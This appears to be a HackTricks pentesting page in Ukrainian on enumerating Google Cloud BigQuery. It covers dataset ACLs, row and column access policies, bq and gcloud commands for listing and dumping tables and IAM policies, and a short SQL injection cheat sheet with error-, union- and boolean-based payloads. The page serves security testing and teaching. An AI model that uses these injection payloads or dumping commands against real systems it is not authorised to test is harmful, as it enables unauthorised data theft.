GCP - Bigquery Enum

Support HackTricks

Основна інформація

Google Cloud BigQuery є повністю керованим, безсерверним корпоративним сховищем даних, що пропонує можливості для аналізу петабайтів даних, таким чином ефективно обробляючи великі набори даних. Як Платформа як послуга (PaaS), вона надає користувачам інфраструктуру та інструменти для полегшення управління даними без необхідності ручного контролю.

Вона підтримує запити з використанням ANSI SQL. Основними об'єктами є набори даних, що містять таблиці, які містять SQL дані.

Шифрування

За замовчуванням використовується шифрувальний ключ, керований Google, хоча можливо налаштувати шифрувальний ключ, керований клієнтом (CMEK). Можливо вказати шифрувальний ключ для кожного набору даних та для кожної таблиці всередині набору даних.

Термін дії

Можливо вказати термін дії в наборі даних, тому будь-яка нова таблиця, створена в цьому наборі даних, буде автоматично видалена через вказану кількість днів після створення.

Зовнішні джерела

Bigquery глибоко інтегрований з іншими сервісами Google. Можливо завантажувати дані з бакетів, pub/sub, google drive, баз даних RDS...

ACL набору даних

Коли створюється набір даних, до нього додаються ACL, щоб надати доступ до нього. За замовчуванням надаються права власника для користувача, який створив набір даних, а потім власнику групи projectOwners (власники проекту), письменнику групи projectWriters та читачу групи projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Table Rows Control Access

Можливо контролювати рядки, до яких принципал зможе отримати доступ у таблиці за допомогою політик доступу до рядків. Вони визначаються всередині таблиці за допомогою DDL. Політика доступу визначає фільтр, і тільки відповідні рядки з цим фільтром будуть доступні вказаним принципалам.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Columns Access Control

Щоб обмежити доступ до даних на рівні стовпців:

  1. Визначте таксономію та політичні теги. Створіть і керуйте таксономією та політичними тегами для ваших даних. https://console.cloud.google.com/bigquery/policy-tags

  2. За бажанням: надайте роль читача з тонким контролем даних Data Catalog одному або кільком особам на одному або кількох політичних тегах, які ви створили.

  3. Призначте політичні теги своїм стовпцям BigQuery. У BigQuery використовуйте анотації схеми, щоб призначити політичний тег кожному стовпцю, до якого ви хочете обмежити доступ.

  4. Забезпечте контроль доступу на таксономії. Забезпечення контролю доступу призводить до застосування обмежень доступу, визначених для всіх політичних тегів у таксономії.

  5. Керуйте доступом до політичних тегів. Використовуйте Управління ідентифікацією та доступом (IAM) політики, щоб обмежити доступ до кожного політичного тегу. Політика діє для кожного стовпця, що належить до політичного тегу.

Коли користувач намагається отримати доступ до даних стовпця під час запиту, BigQuery перевіряє політичний тег стовпця та його політику, щоб дізнатися, чи має користувач право на доступ до даних.

У підсумку, щоб обмежити доступ до деяких стовпців для деяких користувачів, ви можете додати тег до стовпця в схемі та обмежити доступ користувачів до тегу, забезпечуючи контроль доступу на таксономії тегу.

Щоб забезпечити контроль доступу на таксономії, потрібно активувати сервіс:

gcloud services enable bigquerydatapolicy.googleapis.com

Можна побачити теги стовпців за допомогою:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Перерахування

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Для отримання додаткової інформації ви можете перевірити блог: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Тут будуть надані лише деякі деталі.

Коментарі:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Але лише початковий не спрацює

  • select 1--from here it is not working

Отримати інформацію про середовище таку як:

  • Поточний користувач: select session_user()

  • Ідентифікатор проекту: select @@project_id

Об'єднати рядки:

  • Усі назви таблиць: string_agg(table_name, ', ')

Отримати набори даних, таблиці та імена колонок:

  • Назва проекту та набору даних:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Назви стовпців та таблиць усіх таблиць набору даних:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Інші набори даних в тому ж проекті:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Типи SQL-ін'єкцій:

  • На основі помилок - приведення: select CAST(@@project_id AS INT64)

  • На основі помилок - ділення на нуль: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • На основі об'єднання (вам потрібно використовувати ALL у bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • На основі булевих значень: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Потенційна на основі часу - Використання публічних наборів даних приклад: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Документація:

Підвищення привілеїв та постексплуатація

Постійність

Посилання

Підтримайте HackTricks

Last updated